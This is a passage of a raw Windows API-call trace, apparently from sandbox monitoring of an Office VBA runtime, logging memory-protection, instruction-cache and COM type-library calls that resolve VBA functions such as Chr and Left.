(hProcess=0xffffffffffffffff, lpBaseAddress=0x8278541, dwSize=0x8) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278540, dwSize=0x8) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278550, dwSize=0x2) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82785a4, dwSize=0x55) returned 1 [0037.003] VirtualProtect (in: lpAddress=0x82785a4, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264fbc | out: lpflOldProtect=0x264fbc*=0x40) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278681, dwSize=0x8) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278680, dwSize=0x8) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278690, dwSize=0x2) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82786e4, dwSize=0x55) returned 1 [0037.003] VirtualProtect (in: lpAddress=0x82786e4, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264fbc | out: lpflOldProtect=0x264fbc*=0x40) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278771, dwSize=0x8) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278770, dwSize=0x8) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278780, dwSize=0x2) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x82787d8, dwSize=0x5d) returned 1 [0037.003] VirtualProtect (in: lpAddress=0x82787d8, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x264fbc | out: lpflOldProtect=0x264fbc*=0x40) returned 1 [0037.003] GetCurrentProcess () returned 0xffffffffffffffff [0037.003] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8161224, dwSize=0x54) returned 1 [0037.003] RtlLookupFunctionEntry (in: ControlPc=0x8161224, ImageBase=0x264ea8, HistoryTable=0x264eb0 | out: ImageBase=0x264ea8, HistoryTable=0x264eb0) returned 0x0 [0037.003] VirtualProtect (in: lpAddress=0x8161224, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x264fac | out: lpflOldProtect=0x264fac*=0x4) returned 1 [0037.003] RtlAddFunctionTable (FunctionTable=0x8161288, EntryCount=0x1, BaseAddress=0x8161200, TargetGp=0x264fac) returned 1 [0037.004] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.004] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0037.004] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee3ce0000 [0037.004] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10016d71000001ec) returned 1 [0037.004] SetErrorMode (uMode=0x8001) returned 0x8001 [0037.004] GetProcAddress (hModule=0x7fee3ce0000, lpProcName=0x2cc) returned 0x7fee40224c8 [0037.004] GetCurrentProcess () returned 0xffffffffffffffff [0037.004] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x8278914, dwSize=0x4b) returned 1 [0037.004] RtlLookupFunctionEntry (in: ControlPc=0x8278914, ImageBase=0x264e48, HistoryTable=0x264e50 | out: ImageBase=0x264e48, HistoryTable=0x264e50) returned 0x0 [0037.004] VirtualProtect (in: lpAddress=0x8278914, dwSize=0x4c, flNewProtect=0x40, lpflOldProtect=0x264f4c | out: lpflOldProtect=0x264f4c*=0x40) returned 1 [0037.004] RtlAddFunctionTable (FunctionTable=0x827896c, EntryCount=0x1, BaseAddress=0x8278800, TargetGp=0x264f4c) returned 1 [0037.005] IUnknown:AddRef (This=0x8087e90) returned 0x9 [0037.005] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266378 | out: ppvObject=0x266378*=0x0) returned 0x80004002 [0037.005] IUnknown:QueryInterface (in: This=0x8087e90, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266370 | out: ppvObject=0x266370*=0x0) returned 0x80004002 [0037.005] IUnknown:Release (This=0x8087e90) returned 0x8 [0037.005] IUnknown:AddRef (This=0x81ddbb8) returned 0x3 [0037.005] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266378 | out: ppvObject=0x266378*=0x0) returned 0x80004002 [0037.005] IUnknown:QueryInterface (in: This=0x81ddbb8, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x266370 | out: ppvObject=0x266370*=0x0) returned 0x80004002 [0037.005] IUnknown:Release (This=0x81ddbb8) returned 0x2 [0037.005] IMalloc:Alloc (This=0x7feff045380, cb=0x810) returned 0x7cd4520 [0037.005] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0037.005] strcpy_s (in: _Dst=0x264ba0, _DstSize=0x4, _Src="Chr" | out: _Dst="Chr") returned 0x0 [0037.005] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264ba0, cbMultiByte=4, lpWideCharStr=0x2649f0, cchWideChar=4 | out: lpWideCharStr="Chr") returned 4 [0037.005] IUnknown:AddRef (This=0x7f8b790) returned 0xa [0037.005] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="Chr", lHashVal=0x107e4b, pfName=0x264ac0, pBstrLibName=0x2649f0 | out: pfName=0x264ac0*=1, pBstrLibName=0x2649f0) returned 0x0 [0037.005] IUnknown:Release (This=0x7f8b790) returned 0x9 [0037.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Chr", cchWideChar=-1, lpMultiByteStr=0x264ba0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Chr", lpUsedDefaultChar=0x0) returned 4 [0037.005] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0037.006] IUnknown:Release (This=0x8087de0) returned 0x3 [0037.006] IUnknown:Release (This=0x8087de0) returned 0x2 [0037.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3232d2e, cbMultiByte=4, lpWideCharStr=0x264b20, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0037.006] ITypeComp:RemoteBind (in: This=0x8087de8, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x264ad8, pDescKind=0x264aec, ppFuncDesc=0x264af0, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264ad8*=0x0, pDescKind=0x264aec*=0, ppFuncDesc=0x264af0, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff34ba, cbMultiByte=4, lpWideCharStr=0x264c80, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0037.006] ITypeComp:RemoteBind (in: This=0x7f8b7a0, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff34ba, cbMultiByte=4, lpWideCharStr=0x264c80, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0037.006] ITypeComp:RemoteBind (in: This=0x7f887d0, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff34ba, cbMultiByte=4, lpWideCharStr=0x264c80, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0037.006] ITypeComp:RemoteBind (in: This=0x7f8b200, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.006] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0037.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff34ba, cbMultiByte=4, lpWideCharStr=0x264c80, cchWideChar=5 | out: lpWideCharStr="Chr") returned 4 [0037.006] ITypeComp:RemoteBind (in: This=0x81c0d30, szName="Chr", lHashVal=0x107e4b, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x7fee3eb230a, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x7fee3eb230a, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.006] IMalloc:Alloc (This=0x7feff045380, cb=0xb) returned 0x81b1a00 [0037.006] _mbscpy_s (in: _Dst=0x81b1a00, _DstSizeInBytes=0x4, _Src=0x2ff34ba | out: _Dst=0x81b1a00) returned 0x0 [0037.006] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c [0037.006] strcpy_s (in: _Dst=0x264d90, _DstSize=0xb, _Src="_B_var_Chr" | out: _Dst="_B_var_Chr") returned 0x0 [0037.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264d90, cbMultiByte=11, lpWideCharStr=0x264be0, cchWideChar=11 | out: lpWideCharStr="_B_var_Chr") returned 11 [0037.006] IUnknown:AddRef (This=0x7f8b790) returned 0xa [0037.006] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="_B_var_Chr", lHashVal=0x103b5c, pfName=0x264cb0, pBstrLibName=0x264be0 | out: pfName=0x264cb0*=1, pBstrLibName=0x264be0) returned 0x0 [0037.006] IUnknown:Release (This=0x7f8b790) returned 0x9 [0037.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Chr", cchWideChar=-1, lpMultiByteStr=0x264d90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Chr", lpUsedDefaultChar=0x0) returned 11 [0037.006] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c [0037.006] IUnknown:AddRef (This=0x7f8b790) returned 0xa [0037.006] IUnknown:Release (This=0x7f8b790) returned 0x9 [0037.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff3556, cbMultiByte=11, lpWideCharStr=0x264c40, cchWideChar=12 | out: lpWideCharStr="_B_var_Chr") returned 11 [0037.006] ITypeComp:RemoteBind (in: This=0x7f8b7a0, szName="_B_var_Chr", lHashVal=0x103b5c, wFlags=0x3, ppTInfo=0x264bf8, pDescKind=0x264c0c, ppFuncDesc=0x264c10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264bf8*=0x81de138, pDescKind=0x264c0c*=1, ppFuncDesc=0x264c10, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.007] ITypeInfo:RemoteGetTypeAttr (in: This=0x81de138, ppTypeAttr=0x264c00, pDummy=0x1 | out: ppTypeAttr=0x264c00, pDummy=0x1) returned 0x0 [0037.007] ITypeInfo:LocalReleaseTypeAttr (This=0x81de138) returned 0x0 [0037.007] IMalloc:Realloc (This=0x7feff045380, pv=0x8195c80, cb=0x200) returned 0x80f16a0 [0037.007] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee40840f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x264a60 | out: ppvObject=0x264a60*=0x81de138) returned 0x0 [0037.007] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x81de138, memid=1610612738, invkind=1, pFuncIndex=0x264aa0 | out: pFuncIndex=0x264aa0*=0x2) returned 0x0 [0037.007] ITypeInfo2:GetFuncCustData (in: This=0x81de138, index=0x2, GUID=0x7fee4093758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x264ab8 | out: pVarVal=0x264ab8*(varType=0x0, wReserved1=0x26, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x103b5c)) returned 0x0 [0037.007] IUnknown:Release (This=0x81de138) returned 0x1 [0037.007] IUnknown:AddRef (This=0x81de138) returned 0x2 [0037.007] ITypeInfo:LocalReleaseFuncDesc (This=0x81de138) returned 0x0 [0037.007] IUnknown:Release (This=0x81de138) returned 0x1 [0037.007] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cb8 | out: ppvObject=0x264cb8*=0x0) returned 0x80004002 [0037.007] IUnknown:AddRef (This=0x81de138) returned 0x2 [0037.007] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cf0 | out: ppvObject=0x264cf0*=0x0) returned 0x80004002 [0037.007] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cc0 | out: ppvObject=0x264cc0*=0x0) returned 0x80004002 [0037.007] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cb0 | out: ppvObject=0x264cb0*=0x0) returned 0x80004002 [0037.007] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4090b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264cb8 | out: ppvObject=0x264cb8*=0x0) returned 0x80004002 [0037.007] ITypeInfo:RemoteGetTypeAttr (in: This=0x81de138, ppTypeAttr=0x264ce8, pDummy=0x10 | out: ppTypeAttr=0x264ce8, pDummy=0x10) returned 0x0 [0037.007] ITypeInfo:LocalReleaseTypeAttr (This=0x81de138) returned 0x0 [0037.007] IUnknown:AddRef (This=0x81de138) returned 0x3 [0037.007] IUnknown:Release (This=0x81de138) returned 0x2 [0037.007] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed8 | out: ppvObject=0x264ed8*=0x0) returned 0x80004002 [0037.007] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed0 | out: ppvObject=0x264ed0*=0x0) returned 0x80004002 [0037.007] IMalloc:Free (This=0x7feff045380, pv=0x81b1a00) [0037.007] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81de138, ppTLib=0x264710, pIndex=0x0 | out: ppTLib=0x264710*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.007] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x264720, pDummy=0x0 | out: ppTLibAttr=0x264720, pDummy=0x0) returned 0x0 [0037.007] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.007] IUnknown:Release (This=0x7f8b790) returned 0xb [0037.007] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x264710, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.007] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x264710, pbstrName=0x0, pwOrdinal=0x264730 | out: pBstrDllName=0x264710*=0x0, pbstrName=0x0, pwOrdinal=0x264730*=0x49a0) returned 0x0 [0037.007] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000) returned 0x0 [0037.007] IMalloc:Alloc (This=0x7feff045380, cb=0x26d) returned 0x827e8b0 [0037.007] IMalloc:GetSize (This=0x7feff045380, pv=0x827e8b0) returned 0x26d [0037.007] IMalloc:GetSize (This=0x7feff045380, pv=0x827e8b0) returned 0x26d [0037.007] GetCurrentProcess () returned 0xffffffffffffffff [0037.007] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x827e8b0, dwSize=0x43) returned 1 [0037.007] IMalloc:Free (This=0x7feff045380, pv=0x827e8b0) [0037.007] IMalloc:Realloc (This=0x7feff045380, pv=0x7cb6f20, cb=0x1000) returned 0x7e40630 [0037.007] IMalloc:Realloc (This=0x7feff045380, pv=0x827c740, cb=0xc18) returned 0x827b720 [0037.008] IMalloc:Alloc (This=0x7feff045380, cb=0xb) returned 0x81b1a00 [0037.008] _mbscpy_s (in: _Dst=0x81b1a00, _DstSizeInBytes=0x4, _Src=0x2ff34ba | out: _Dst=0x81b1a00) returned 0x0 [0037.008] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Chr") returned 0x103b5c [0037.008] IUnknown:AddRef (This=0x7f8b790) returned 0xc [0037.008] IUnknown:Release (This=0x7f8b790) returned 0xb [0037.008] IUnknown:AddRef (This=0x81de138) returned 0x3 [0037.008] IUnknown:Release (This=0x81de138) returned 0x2 [0037.008] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4085af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed8 | out: ppvObject=0x264ed8*=0x0) returned 0x80004002 [0037.008] IUnknown:QueryInterface (in: This=0x81de138, riid=0x7fee4090b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264ed0 | out: ppvObject=0x264ed0*=0x0) returned 0x80004002 [0037.008] IMalloc:Free (This=0x7feff045380, pv=0x81b1a00) [0037.008] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x81de138, ppTLib=0x264710, pIndex=0x0 | out: ppTLib=0x264710*=0x7f8b790, pIndex=0x0) returned 0x0 [0037.008] ITypeLib:RemoteGetLibAttr (in: This=0x7f8b790, ppTLibAttr=0x264720, pDummy=0x0 | out: ppTLibAttr=0x264720, pDummy=0x0) returned 0x0 [0037.008] ITypeLib:LocalReleaseTLibAttr (This=0x7f8b790) returned 0x0 [0037.008] IUnknown:Release (This=0x7f8b790) returned 0xb [0037.008] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x264710, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26b2890*=0x5380) returned 0x0 [0037.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee40bd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0037.008] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x264710, pbstrName=0x0, pwOrdinal=0x264730 | out: pBstrDllName=0x264710*=0x0, pbstrName=0x0, pwOrdinal=0x264730*=0x49a0) returned 0x0 [0037.008] ITypeInfo:RemoteGetDllEntry (in: This=0x81de138, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x264710, pwOrdinal=0x500000000) returned 0x0 [0037.008] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0037.008] IUnknown:Release (This=0x8087de0) returned 0x3 [0037.008] IUnknown:Release (This=0x8087de0) returned 0x2 [0037.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x32310ee, cbMultiByte=5, lpWideCharStr=0x264b20, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0037.008] ITypeComp:RemoteBind (in: This=0x8087de8, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x264ad8, pDescKind=0x264aec, ppFuncDesc=0x264af0, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264ad8*=0x0, pDescKind=0x264aec*=0, ppFuncDesc=0x264af0, ppVarDesc=0x7feff382ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.008] IMalloc:Realloc (This=0x7feff045380, pv=0x80f18b0, cb=0x400) returned 0x421b80 [0037.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff10ee, cbMultiByte=5, lpWideCharStr=0x264c80, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0037.008] ITypeComp:RemoteBind (in: This=0x7f8b7a0, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff10ee, cbMultiByte=5, lpWideCharStr=0x264c80, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0037.008] ITypeComp:RemoteBind (in: This=0x7f887d0, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff10ee, cbMultiByte=5, lpWideCharStr=0x264c80, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0037.008] ITypeComp:RemoteBind (in: This=0x7f8b200, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x81d4590, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.008] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Left") returned 0x107be5 [0037.008] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff10ee, cbMultiByte=5, lpWideCharStr=0x264c80, cchWideChar=6 | out: lpWideCharStr="Left") returned 5 [0037.009] ITypeComp:RemoteBind (in: This=0x81c0d30, szName="Left", lHashVal=0x107be5, wFlags=0x3, ppTInfo=0x264c38, pDescKind=0x264c4c, ppFuncDesc=0x264c50, ppVarDesc=0x7fee3eb230a, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x264c38*=0x0, pDescKind=0x264c4c*=0, ppFuncDesc=0x264c50, ppVarDesc=0x7fee3eb230a, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0037.009] IMalloc:Alloc (This=0x7feff045380, cb=0xc) returned 0x81b1a00 [0037.009] _mbscpy_s (in: _Dst=0x81b1a00, _DstSizeInBytes=0x5, _Src=0x2ff10ee | out: _Dst=0x81b1a00) returned 0x0 [0037.009] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Left") returned 0x10e151 [0037.009] strcpy_s (in: _Dst=0x264d90, _DstSize=0xc, _Src="_B_var_Left" | out: _Dst="_B_var_Left") returned 0x0 [0037.009] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x264d90, cbMultiByte=12, lpWideCharStr=0x264be0, cchWideChar=12 | out: lpWideCharStr="_B_var_Left") returned 12 [0037.009] IUnknown:AddRef (This=0x7f8b790) returned 0xc [0037.009] ITypeLib:RemoteIsName (in: This=0x7f8b790, szNameBuf="_B_var_Left", lHashVal=0x10e151, pfName=0x264cb0, pBstrLibName=0x264be0 | out: pfName=0x264cb0*=1, pBstrLibName=0x264be0) returned 0x0 [0037.009] IUnknown:Release (This=0x7f8b790) returned 0xb [0037.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Left", cchWideChar=-1, lpMultiByteStr=0x264d90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Left", lpUsedDefaultChar=0x0) returned 12 [0037.009] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Left") returned 0x10e151 [0037.009] IUnknown:AddRef (This=0x7f8b790) returned 0xc [0037.009] IUnknown:Release (This=0x7f8b790) returned 0xb [0037.009] MultiByteToWideChar (in: 